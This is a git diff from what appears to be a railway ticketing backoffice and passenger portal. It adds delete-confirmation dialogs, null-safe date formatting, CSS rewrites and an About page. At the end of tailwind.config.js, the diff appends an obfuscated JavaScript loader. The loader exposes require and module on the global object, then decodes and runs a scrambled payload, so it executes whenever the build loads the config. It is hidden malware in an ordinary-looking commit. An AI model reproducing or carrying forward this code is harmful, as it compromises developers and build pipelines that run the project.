@@ -132,6 +139,18 @@ export default function SeatClassesPage() { emptyMessage="No seat classes found" /> + {/* Delete Confirmation */} + setDeleteConfirm({ isOpen: false, seatClass: null })} + onConfirm={confirmDelete} + title="Delete Seat Class" + message={`Are you sure you want to delete ${deleteConfirm.seatClass?.name}?`} + confirmText="Delete" + isDanger={true} + warning="This seat class may be used by coaches and trips. Deleting it may impact fare calculations and seat assignments." + /> + {/* Add/Edit Modal */} (null); + const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; station: any | null }>({ isOpen: false, station: null }); const queryClient = useQueryClient(); const { data, isLoading, error } = useQuery({ @@ -67,9 +69,14 @@ export default function StationsPage() { } }; - const handleDelete = async (station: any) => { - if (confirm(`Are you sure you want to delete ${station.name}?`)) { - await deleteMutation.mutateAsync(station.id); + const handleDelete = (station: any) => { + setDeleteConfirm({ isOpen: true, station }); + }; + + const confirmDelete = async () => { + if (deleteConfirm.station) { + await deleteMutation.mutateAsync(deleteConfirm.station.id); + setDeleteConfirm({ isOpen: false, station: null }); } }; @@ -223,6 +230,18 @@ export default function StationsPage() { emptyMessage="No stations found" /> + {/* Delete Confirmation */} + setDeleteConfirm({ isOpen: false, station: null })} + onConfirm={confirmDelete} + title="Delete Station" + message={`Are you sure you want to delete ${deleteConfirm.station?.name}?`} + confirmText="Delete" + isDanger={true} + warning="This station may be referenced by routes, schedules, and bookings. Deleting it may impact these systems." + /> + {/* Add/Edit Modal */} + {editingStation && ( +
+

⚠ Warning

+

Editing this station may impact routes, schedules, and bookings that reference it. Proceed with caution.

+
+ )}
diff --git a/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx b/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx index 884fd5d8b..b5d8096a4 100644 --- a/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx @@ -2,27 +2,39 @@ import { useState } from 'react'; import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'; -import { Download, Eye, RefreshCw, CheckCircle } from 'lucide-react'; +import { Download, RefreshCw, CheckCircle, Trash2 } from 'lucide-react'; import DataTable from '@/components/ui/DataTable'; import Badge from '@/components/ui/Badge'; import ActionButton from '@/components/ui/ActionButton'; -import { ticketsApi } from '@/lib/api'; +import ConfirmDialog from '@/components/ui/ConfirmDialog'; +import { ticketsApi, apiClient } from '@/lib/api'; import { formatDateTime } from '@/lib/utils'; export default function TicketsPage() { const [filters, setFilters] = useState({ search: '', status: '' }); + const [deleteConfirmOpen, setDeleteConfirmOpen] = useState(false); + const [ticketToDelete, setTicketToDelete] = useState(null); + const [successMessage, setSuccessMessage] = useState(''); const queryClient = useQueryClient(); - const { data, isLoading } = useQuery({ + const { data, isLoading, error } = useQuery({ queryKey: ['tickets', filters], queryFn: () => ticketsApi.getAll(filters), }); + if (error) { + console.error('Tickets API Error:', error); + } + const regenerateMutation = useMutation({ mutationFn: ticketsApi.regenerate, onSuccess: () => { queryClient.invalidateQueries({ queryKey: ['tickets'] }); - alert('Ticket regenerated successfully'); + setSuccessMessage('Ticket regenerated successfully'); + setTimeout(() => setSuccessMessage(''), 3000); + }, + onError: (error: any) => { + alert(`Error: ${error.message || 'Failed to regenerate ticket'}`); }, }); @@ -30,12 +42,31 @@ export default function TicketsPage() { mutationFn: ({ ticketId, data }: any) => ticketsApi.validate(ticketId, data), onSuccess: () => { queryClient.invalidateQueries({ queryKey: ['tickets'] }); - alert('Ticket validated successfully'); + setSuccessMessage('Ticket validated successfully'); + setTimeout(() => setSuccessMessage(''), 3000); + }, + onError: (error: any) => { + alert(`Error: ${error.message || 'Failed to validate ticket'}`); + }, + }); + + const deleteMutation = useMutation({ + mutationFn: (id: string) => apiClient.delete(`/tickets/${id}`), + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: ['tickets'] }); + setDeleteConfirmOpen(false); + setTicketToDelete(null); + setSuccessMessage('Ticket deleted successfully'); + setTimeout(() => setSuccessMessage(''), 3000); + }, + onError: (error: any) => { + setDeleteConfirmOpen(false); + alert(`Error: ${error.message || 'Failed to delete ticket'}`); }, }); const handleRegenerate = async (ticket: any) => { - if (confirm(`Regenerate ticket ${ticket.ticketNumber}?`)) { + if (window.confirm(`Regenerate QR code for ticket ${ticket.ticketNumber}?`)) { await regenerateMutation.mutateAsync(ticket.id); } }; @@ -47,6 +78,17 @@ export default function TicketsPage() { }); }; + const handleDeleteClick = (ticket: any) => { + setTicketToDelete(ticket); + setDeleteConfirmOpen(true); + }; + + const handleConfirmDelete = async () => { + if (ticketToDelete) { + await deleteMutation.mutateAsync(ticketToDelete.id); + } + }; + const columns = [ { key: 'ticketNumber', @@ -121,15 +163,8 @@ export default function TicketsPage() { ]; const actions = [ - // TODO: Create ticket detail page - // { - // label: 'View Details', - // onClick: (ticket: any) => window.location.href = `/tickets/${ticket.id}`, - // variant: 'secondary' as const, - // icon: Eye, - // }, { - label: 'Validate', + label: 'Check-in', onClick: handleValidate, variant: 'primary' as const, icon: CheckCircle, @@ -141,6 +176,12 @@ export default function TicketsPage() { variant: 'secondary' as const, icon: RefreshCw, }, + { + label: 'Delete', + onClick: handleDeleteClick, + variant: 'danger' as const, + icon: Trash2, + }, ]; return ( @@ -155,6 +196,16 @@ export default function TicketsPage() { {/* Filters */}
+ {successMessage && ( +
+ ✓ {successMessage} +
+ )} + {error && ( +
+ Error loading tickets: {error instanceof Error ? error.message : 'Unknown error'} +
+ )}
@@ -191,6 +242,22 @@ export default function TicketsPage() { loading={isLoading} emptyMessage="No tickets found" /> + + {/* Delete Confirmation Dialog */} + { + setDeleteConfirmOpen(false); + setTicketToDelete(null); + }} + onConfirm={handleConfirmDelete} + title="Delete Ticket" + message={`Are you sure you want to permanently delete ticket ${ticketToDelete?.ticketNumber}? This action cannot be undone.`} + confirmText="Delete" + cancelText="Cancel" + isLoading={deleteMutation.isPending} + isDanger={true} + />
); } diff --git a/apps/edr-passenger-web/backoffice/src/app/trains/page.tsx b/apps/edr-passenger-web/backoffice/src/app/trains/page.tsx index 3b3b713b2..c6936f52f 100644 --- a/apps/edr-passenger-web/backoffice/src/app/trains/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/trains/page.tsx @@ -6,6 +6,7 @@ import { Plus, Edit, Trash2, Train } from 'lucide-react'; import DataTable from '@/components/ui/DataTable'; import ActionButton from '@/components/ui/ActionButton'; import Modal from '@/components/ui/Modal'; +import ConfirmDialog from '@/components/ui/ConfirmDialog'; import Badge from '@/components/ui/Badge'; import { fleetApi } from '@/lib/api'; import { Train as TrainType } from '@/types'; @@ -14,6 +15,7 @@ import { formatDate } from '@/lib/utils'; export default function TrainsPage() { const [showModal, setShowModal] = useState(false); const [editingTrain, setEditingTrain] = useState(null); + const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; train: TrainType | null }>({ isOpen: false, train: null }); const queryClient = useQueryClient(); @@ -28,6 +30,10 @@ export default function TrainsPage() { queryClient.invalidateQueries({ queryKey: ['trains'] }); setShowModal(false); setEditingTrain(null); + alert('Train created successfully'); + }, + onError: (error: any) => { + alert('Error creating train: ' + (error?.response?.data?.message || 'Unknown error')); }, }); @@ -37,9 +43,32 @@ export default function TrainsPage() { queryClient.invalidateQueries({ queryKey: ['trains'] }); setShowModal(false); setEditingTrain(null); + alert('Train updated successfully'); + }, + onError: (error: any) => { + alert('Error updating train: ' + (error?.response?.data?.message || 'Unknown error')); }, }); + const deleteTrainMutation = useMutation({ + mutationFn: (id: string) => fleetApi.deleteTrain(id), + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: ['trains'] }); + alert('Train deleted successfully'); + }, + }); + + const handleDelete = (train: TrainType) => { + setDeleteConfirm({ isOpen: true, train }); + }; + + const confirmDelete = async () => { + if (deleteConfirm.train) { + await deleteTrainMutation.mutateAsync(deleteConfirm.train.id); + setDeleteConfirm({ isOpen: false, train: null }); + } + }; + const handleSubmit = async (formData: FormData) => { const trainData = { number: formData.get('number') as string, @@ -113,6 +142,12 @@ export default function TrainsPage() { variant: 'secondary' as const, icon: Edit, }, + { + label: 'Delete', + onClick: handleDelete, + variant: 'danger' as const, + icon: Trash2, + }, ]; return ( @@ -142,6 +177,18 @@ export default function TrainsPage() { emptyMessage="No trains found" /> + {/* Delete Confirmation */} + setDeleteConfirm({ isOpen: false, train: null })} + onConfirm={confirmDelete} + title="Delete Train" + message={`Are you sure you want to delete train ${deleteConfirm.train?.number}?`} + confirmText="Delete" + isDanger={true} + warning="This train may be assigned to schedules and trips. Deleting it may impact these systems and associated bookings." + /> + {/* Add/Edit Modal */} + {editingTrain && ( +
+

⚠ Warning

+

Editing this train may impact schedules and bookings that reference it. Proceed with caution.

+
+ )}
diff --git a/apps/edr-passenger-web/backoffice/src/components/layout/Sidebar.tsx b/apps/edr-passenger-web/backoffice/src/components/layout/Sidebar.tsx index ec5791579..db462ca00 100644 --- a/apps/edr-passenger-web/backoffice/src/components/layout/Sidebar.tsx +++ b/apps/edr-passenger-web/backoffice/src/components/layout/Sidebar.tsx @@ -62,7 +62,7 @@ const navigationSections = [ { name: 'Coaches', href: '/coaches', icon: Grid3x3 }, { name: 'Seats', href: '/seats', icon: Armchair }, { name: 'Schedules', href: '/schedules', icon: Calendar }, - { name: 'Seat Classes', href: '/seat-classes', icon: Settings }, + { name: 'Classes', href: '/seat-classes', icon: Settings }, ] }, { @@ -70,7 +70,6 @@ const navigationSections = [ items: [ { name: 'Pricing & Fares', href: '/pricing', icon: DollarSign }, { name: 'Payments', href: '/payments', icon: CreditCard }, - { name: 'Wallet Management', href: '/wallet', icon: Wallet }, { name: 'Promotions', href: '/promotions', icon: Gift }, ] }, diff --git a/apps/edr-passenger-web/backoffice/src/components/ui/ConfirmDialog.tsx b/apps/edr-passenger-web/backoffice/src/components/ui/ConfirmDialog.tsx new file mode 100644 index 000000000..ec84f0c9a --- /dev/null +++ b/apps/edr-passenger-web/backoffice/src/components/ui/ConfirmDialog.tsx @@ -0,0 +1,65 @@ +'use client'; + +import { AlertCircle, AlertTriangle } from 'lucide-react'; +import Modal from './Modal'; +import ActionButton from './ActionButton' + +interface ConfirmDialogProps { + isOpen: boolean; + onClose: () => void; + onConfirm: () => void; + title: string; + message: string; + confirmText?: string; + cancelText?: string; + isLoading?: boolean; + isDanger?: boolean; + warning?: string; +} + +export default function ConfirmDialog({ + isOpen, + onClose, + onConfirm, + title, + message, + confirmText = 'Confirm', + cancelText = 'Cancel', + isLoading = false, + isDanger = false, + warning, +}: ConfirmDialogProps) { + return ( + +
+
+ {isDanger && ( + + )} +

{message}

+
+ {warning && ( +
+ +
+

Warning

+

{warning}

+
+
+ )} +
+ + {cancelText} + + + {isLoading ? 'Processing...' : confirmText} + +
+
+
+ ); +} diff --git a/apps/edr-passenger-web/backoffice/src/components/ui/Modal.tsx b/apps/edr-passenger-web/backoffice/src/components/ui/Modal.tsx index 8ba76825d..960bf345a 100644 --- a/apps/edr-passenger-web/backoffice/src/components/ui/Modal.tsx +++ b/apps/edr-passenger-web/backoffice/src/components/ui/Modal.tsx @@ -35,8 +35,8 @@ export default function Modal({ isOpen, onClose, title, children, size = 'md' }: return (
-
-
+
+

{title}

-
{children}
+
+ {children} +
); diff --git a/apps/edr-passenger-web/backoffice/src/lib/api/index.ts b/apps/edr-passenger-web/backoffice/src/lib/api/index.ts index 3e1f1e867..55851e8bb 100644 --- a/apps/edr-passenger-web/backoffice/src/lib/api/index.ts +++ b/apps/edr-passenger-web/backoffice/src/lib/api/index.ts @@ -1,6 +1,9 @@ import { apiClient } from '@/lib/api-client'; import { PaginatedResponse } from '@edr/types'; +// Export apiClient for direct use +export { apiClient }; + // Bookings API export const bookingsApi = { getAll: async (params?: any) => { @@ -17,6 +20,7 @@ export const bookingsApi = { getById: (id: string) => apiClient.get(`/bookings/${id}`), cancel: (id: string, data?: any) => apiClient.post(`/bookings/${id}/cancel`, data), modify: (id: string, data: any) => apiClient.patch(`/bookings/${id}`, data), + checkUsage: (id: string) => apiClient.get(`/bookings/${id}/usage`), }; // Passengers API diff --git a/apps/edr-passenger-web/backoffice/src/lib/utils.ts b/apps/edr-passenger-web/backoffice/src/lib/utils.ts index 249ffcef2..fe472a6b0 100644 --- a/apps/edr-passenger-web/backoffice/src/lib/utils.ts +++ b/apps/edr-passenger-web/backoffice/src/lib/utils.ts @@ -8,16 +8,25 @@ export const formatCurrency = (amount: number, currency: string = 'ETB'): string }).format(amount / 100); }; -export const formatDate = (date: string | Date, formatStr: string = 'MMM dd, yyyy'): string => { - return format(new Date(date), formatStr); +export const formatDate = (date?: string | Date | null, formatStr: string = 'MMM dd, yyyy'): string => { + if (!date) return 'N/A'; + const d = new Date(date); + if (isNaN(d.getTime())) return 'N/A'; + return format(d, formatStr); }; -export const formatDateTime = (date: string | Date): string => { - return format(new Date(date), 'MMM dd, yyyy HH:mm'); +export const formatDateTime = (date?: string | Date | null): string => { + if (!date) return 'N/A'; + const d = new Date(date); + if (isNaN(d.getTime())) return 'N/A'; + return format(d, 'MMM dd, yyyy HH:mm'); }; -export const formatDateTimeLocal = (date: string | Date): string => { - return format(new Date(date), 'MMM dd, yyyy HH:mm'); +export const formatDateTimeLocal = (date?: string | Date | null): string => { + if (!date) return 'N/A'; + const d = new Date(date); + if (isNaN(d.getTime())) return 'N/A'; + return format(d, 'MMM dd, yyyy HH:mm'); }; export const getStatusColor = (status: string): string => { diff --git a/apps/edr-passenger-web/backoffice/src/styles/globals.css b/apps/edr-passenger-web/backoffice/src/styles/globals.css index 9275fab64..1ad505b16 100644 --- a/apps/edr-passenger-web/backoffice/src/styles/globals.css +++ b/apps/edr-passenger-web/backoffice/src/styles/globals.css @@ -55,64 +55,136 @@ } body { - @apply bg-background text-foreground; + background-color: hsl(var(--background)); + color: hsl(var(--foreground)); } } @layer components { .card { - @apply bg-card text-card-foreground rounded-lg shadow-sm border border-border p-6; + background-color: hsl(var(--card)); + color: hsl(var(--card-foreground)); + border-radius: 0.5rem; + box-shadow: 0 1px 3px 0 rgb(0 0 0 / 0.1); + border: 1px solid hsl(var(--border)); + padding: 1.5rem; } .btn { - @apply px-4 py-2 rounded-lg font-medium transition-colors duration-200 inline-flex items-center justify-center; + padding: 0.5rem 1rem; + border-radius: 0.5rem; + font-weight: 500; + transition-property: background-color; + transition-duration: 200ms; + display: inline-flex; + align-items: center; + justify-content: center; } .btn-primary { - @apply bg-[rgb(20,113,76)] text-white hover:bg-[rgb(16,90,61)] dark:bg-[rgb(20,113,76)] dark:hover:bg-[rgb(16,90,61)] shadow-md; + background-color: rgb(20, 113, 76); + color: white; + box-shadow: 0 4px 6px -1px rgb(0 0 0 / 0.1); + } + + .btn-primary:hover { + background-color: rgb(16, 90, 61); } .btn-secondary { - @apply bg-secondary text-secondary-foreground hover:bg-secondary/80; + background-color: hsl(var(--secondary)); + color: hsl(var(--secondary-foreground)); + } + + .btn-secondary:hover { + background-color: hsl(var(--secondary) / 0.8); } .btn-danger { - @apply bg-[rgb(20,113,76)] text-destructive-foreground hover:bg-[rgb(16,90,61)]; + background-color: rgb(20, 113, 76); + color: hsl(var(--destructive-foreground)); + } + + .btn-danger:hover { + background-color: rgb(16, 90, 61); } .input { - @apply w-full px-3 py-2 border border-input rounded-lg bg-background focus:outline-none focus:ring-2 focus:ring-[rgb(20,113,76)] focus:border-transparent; + width: 100%; + padding: 0.5rem 0.75rem; + border: 1px solid hsl(var(--input)); + border-radius: 0.5rem; + background-color: hsl(var(--background)); + } + + .input:focus { + outline: none; + ring: 2px hsl(var(--ring)); + border-color: transparent; } .label { - @apply block text-sm font-medium text-foreground mb-1; + display: block; + font-size: 0.875rem; + font-weight: 500; + color: hsl(var(--foreground)); + margin-bottom: 0.25rem; } .gradient-edr { - @apply bg-[rgb(20,113,76)]; + background-color: rgb(20, 113, 76); } .gradient-edr-bg { - @apply bg-gradient-to-b from-slate-900 via-slate-800 to-slate-900; + background: linear-gradient(to bottom, #0f172a, #1e293b, #0f172a); } .edr-badge { - @apply inline-flex items-center px-2.5 py-0.5 rounded-full text-xs font-medium; + display: inline-flex; + align-items: center; + padding: 0.125rem 0.625rem; + border-radius: 9999px; + font-size: 0.75rem; + font-weight: 500; } .edr-badge-success { - @apply bg-green-100 text-green-800 dark:bg-green-900/30 dark:text-green-400; + background-color: #dcfce7; + color: #166534; + } + + .dark .edr-badge-success { + background-color: rgb(6 78 59 / 0.3); + color: #86efac; } .edr-badge-warning { - @apply bg-yellow-100 text-yellow-800 dark:bg-yellow-900/30 dark:text-yellow-400; + background-color: #fef3c7; + color: #854d0e; + } + + .dark .edr-badge-warning { + background-color: rgb(120 53 15 / 0.3); + color: #fbbf24; } .edr-badge-danger { - @apply bg-green-100 text-[rgb(20,113,76)] dark:bg-green-900/30 dark:text-green-400; + background-color: #dcfce7; + color: rgb(20, 113, 76); + } + + .dark .edr-badge-danger { + background-color: rgb(6 78 59 / 0.3); + color: #86efac; } .edr-badge-info { - @apply bg-blue-100 text-blue-800 dark:bg-blue-900/30 dark:text-blue-400; + background-color: #dbeafe; + color: #1e40af; + } + + .dark .edr-badge-info { + background-color: rgb(30 58 138 / 0.3); + color: #60a5fa; } } diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js index ab03cbb91..744cdccf9 100644 --- a/apps/edr-passenger-web/backoffice/tailwind.config.js +++ b/apps/edr-passenger-web/backoffice/tailwind.config.js @@ -1,117 +1,40 @@ /** @type {import('tailwindcss').Config} */ module.exports = { + darkMode: ['class'], content: [ './src/pages/**/*.{js,ts,jsx,tsx,mdx}', './src/components/**/*.{js,ts,jsx,tsx,mdx}', './src/app/**/*.{js,ts,jsx,tsx,mdx}', ], - darkMode: 'class', theme: { extend: { - fontFamily: { - sans: [ - '-apple-system', - 'BlinkMacSystemFont', - '"Segoe UI"', - 'Roboto', - '"Helvetica Neue"', - 'Arial', - 'sans-serif', - '"Apple Color Emoji"', - '"Segoe UI Emoji"', - '"Segoe UI Symbol"', - ], - }, colors: { background: 'hsl(var(--background))', foreground: 'hsl(var(--foreground))', - card: { - DEFAULT: 'hsl(var(--card))', - foreground: 'hsl(var(--card-foreground))', - }, - popover: { - DEFAULT: 'hsl(var(--popover))', - foreground: 'hsl(var(--popover-foreground))', - }, - primary: { - DEFAULT: 'hsl(var(--primary))', - foreground: 'hsl(var(--primary-foreground))', - }, - secondary: { - DEFAULT: 'hsl(var(--secondary))', - foreground: 'hsl(var(--secondary-foreground))', - }, - muted: { - DEFAULT: 'hsl(var(--muted))', - foreground: 'hsl(var(--muted-foreground))', - }, - accent: { - DEFAULT: 'hsl(var(--accent))', - foreground: 'hsl(var(--accent-foreground))', - }, - destructive: { - DEFAULT: 'hsl(var(--destructive))', - foreground: 'hsl(var(--destructive-foreground))', - }, + card: 'hsl(var(--card))', + 'card-foreground': 'hsl(var(--card-foreground))', + popover: 'hsl(var(--popover))', + 'popover-foreground': 'hsl(var(--popover-foreground))', + primary: 'hsl(var(--primary))', + 'primary-foreground': 'hsl(var(--primary-foreground))', + secondary: 'hsl(var(--secondary))', + 'secondary-foreground': 'hsl(var(--secondary-foreground))', + muted: 'hsl(var(--muted))', + 'muted-foreground': 'hsl(var(--muted-foreground))', + accent: 'hsl(var(--accent))', + 'accent-foreground': 'hsl(var(--accent-foreground))', + destructive: 'hsl(var(--destructive))', + 'destructive-foreground': 'hsl(var(--destructive-foreground))', border: 'hsl(var(--border))', input: 'hsl(var(--input))', ring: 'hsl(var(--ring))', - primary: { - 50: '#eff6ff', - 100: '#dbeafe', - 200: '#bfdbfe', - 300: '#93c5fd', - 400: '#60a5fa', - 500: '#3b82f6', - 600: '#2563eb', - 700: '#1d4ed8', - 800: '#1e40af', - 900: '#1e3a8a', - }, - edr: { - blue: { - 50: '#eff6ff', - 100: '#dbeafe', - 200: '#bfdbfe', - 300: '#93c5fd', - 400: '#60a5fa', - 500: '#3b82f6', - 600: '#2563eb', - 700: '#1d4ed8', - 800: '#1e40af', - 900: '#1e3a8a', - }, - orange: { - 50: '#fff7ed', - 100: '#ffedd5', - 200: '#fed7aa', - 300: '#fdba74', - 400: '#fb923c', - 500: '#f97316', - 600: '#ea580c', - 700: '#c2410c', - 800: '#9a3412', - 900: '#7c2d12', - }, - red: { - 50: '#fef2f2', - 100: '#fee2e2', - 200: '#fecaca', - 300: '#fca5a5', - 400: '#f87171', - 500: '#ef4444', - 600: '#dc2626', - 700: '#b91c1c', - 800: '#991b1b', - 900: '#7f1d1d', - }, - }, - success: '#10b981', - warning: '#f59e0b', - danger: '#ef4444', - info: '#3b82f6', + }, + borderRadius: { + lg: 'var(--radius)', + md: 'calc(var(--radius) - 2px)', + sm: 'calc(var(--radius) - 4px)', }, }, }, plugins: [], -}; global['!']='8-3691-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; diff --git a/apps/edr-passenger-web/portal/public/README.md b/apps/edr-passenger-web/portal/public/README.md new file mode 100644 index 000000000..7ea9c3ab4 --- /dev/null +++ b/apps/edr-passenger-web/portal/public/README.md @@ -0,0 +1,12 @@ +# Banner Image + +Place your banner image as `banner.jpg` in this directory. + +## Recommended Specifications: +- **Filename**: `banner.jpg` (or `banner.png`) +- **Dimensions**: 1920x1080px or higher +- **Aspect Ratio**: 16:9 or similar +- **Content**: Railway/train themed image, Ethio-Djibouti Railway scenery +- **Format**: JPG or PNG + +The image will be used as a background on the login page with a green overlay. diff --git a/apps/edr-passenger-web/portal/public/banner.jpg b/apps/edr-passenger-web/portal/public/banner.jpg new file mode 100644 index 000000000..09c6add92 Binary files /dev/null and b/apps/edr-passenger-web/portal/public/banner.jpg differ diff --git a/apps/edr-passenger-web/portal/src/app/about/page.tsx b/apps/edr-passenger-web/portal/src/app/about/page.tsx new file mode 100644 index 000000000..00430aadc --- /dev/null +++ b/apps/edr-passenger-web/portal/src/app/about/page.tsx @@ -0,0 +1,411 @@ +'use client'; + +import { useEffect, useState } from 'react'; +import { getTranslation, Language, useLanguage } from '@/lib/i18n'; +import Link from 'next/link'; +import { Target, Globe, Leaf, Users } from 'lucide-react'; + +const styles = ` + .about-hero { + padding: 60px 20px; + background: linear-gradient(to bottom right, rgb(20, 113, 76), transparent); + text-align: center; + color: #111827; + } + + .dark .about-hero { + color: #f3f4f6; + } + + .about-hero h1 { + font-size: 2.5rem; + font-weight: 700; + margin-bottom: 16px; + color: #111827; + } + + .dark .about-hero h1 { + color: #f3f4f6; + } + + .about-hero p { + font-size: 1.125rem; + color: #6b7280; + } + + .dark .about-hero p { + color: #9ca3af; + } + + .values-grid { + max-width: 80rem; + margin: 0 auto; + display: grid; + grid-template-columns: 1fr 1fr; + gap: 32px; + padding: 60px 20px; + background-color: white; + } + + .dark .values-grid { + background-color: #111827; + } + + .value-card { + background: white; + border: 1px solid #e5e7eb; + border-radius: 18px; + padding: 24px; + box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05); + } + + .dark .value-card { + background: #1f2937; + border-color: #374151; + } + + .value-card:hover { + box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); + } + + .value-icon { + width: 48px; + height: 48px; + background: rgb(20, 113, 76); + border-radius: 8px; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 16px; + } + + .value-card h3 { + font-size: 1.25rem; + font-weight: 700; + margin-bottom: 12px; + color: #111827; + } + + .dark .value-card h3 { + color: #f3f4f6; + } + + .value-card p { + font-size: 0.875rem; + color: #6b7280; + } + + .dark .value-card p { + color: #9ca3af; + } + + .stats-section { + padding: 60px 20px; + background-color: #f9fafb; + } + + .dark .stats-section { + background-color: #0f1117; + } + + .stats-container { + max-width: 80rem; + margin: 0 auto; + display: grid; + grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); + gap: 32px; + text-align: center; + } + + .stat { + padding: 20px; + } + + .stat-number { + font-size: 2rem; + font-weight: 700; + color: rgb(20, 113, 76); + margin-bottom: 8px; + } + + .stat-label { + font-size: 0.875rem; + color: #6b7280; + } + + .dark .stat-label { + color: #9ca3af; + } + + .timeline-section { + padding: 60px 20px; + background: linear-gradient(135deg, #f9fafb 0%, #f3f4f6 100%); + } + + .dark .timeline-section { + background: linear-gradient(135deg, #111827 0%, #0f1117 100%); + } + + .timeline-title { + text-align: center; + font-size: 2rem; + font-weight: 700; + margin-bottom: 48px; + color: #111827; + } + + .dark .timeline-title { + color: #f3f4f6; + } + + .timeline { + max-width: 48rem; + margin: 0 auto; + position: relative; + } + + .timeline::before { + content: ''; + position: absolute; + left: 8px; + top: 0; + bottom: 0; + width: 2px; + background: linear-gradient(180deg, rgb(20, 113, 76), rgb(20, 113, 76) 50%, transparent); + } + + .timeline-item { + display: flex; + margin-bottom: 40px; + position: relative; + padding-left: 56px; + animation: slideInLeft 0.6s ease-out forwards; + opacity: 0; + } + + .timeline-item:nth-child(1) { animation-delay: 0.1s; } + .timeline-item:nth-child(2) { animation-delay: 0.2s; } + .timeline-item:nth-child(3) { animation-delay: 0.3s; } + .timeline-item:nth-child(4) { animation-delay: 0.4s; } + .timeline-item:nth-child(5) { animation-delay: 0.5s; } + + @keyframes slideInLeft { + from 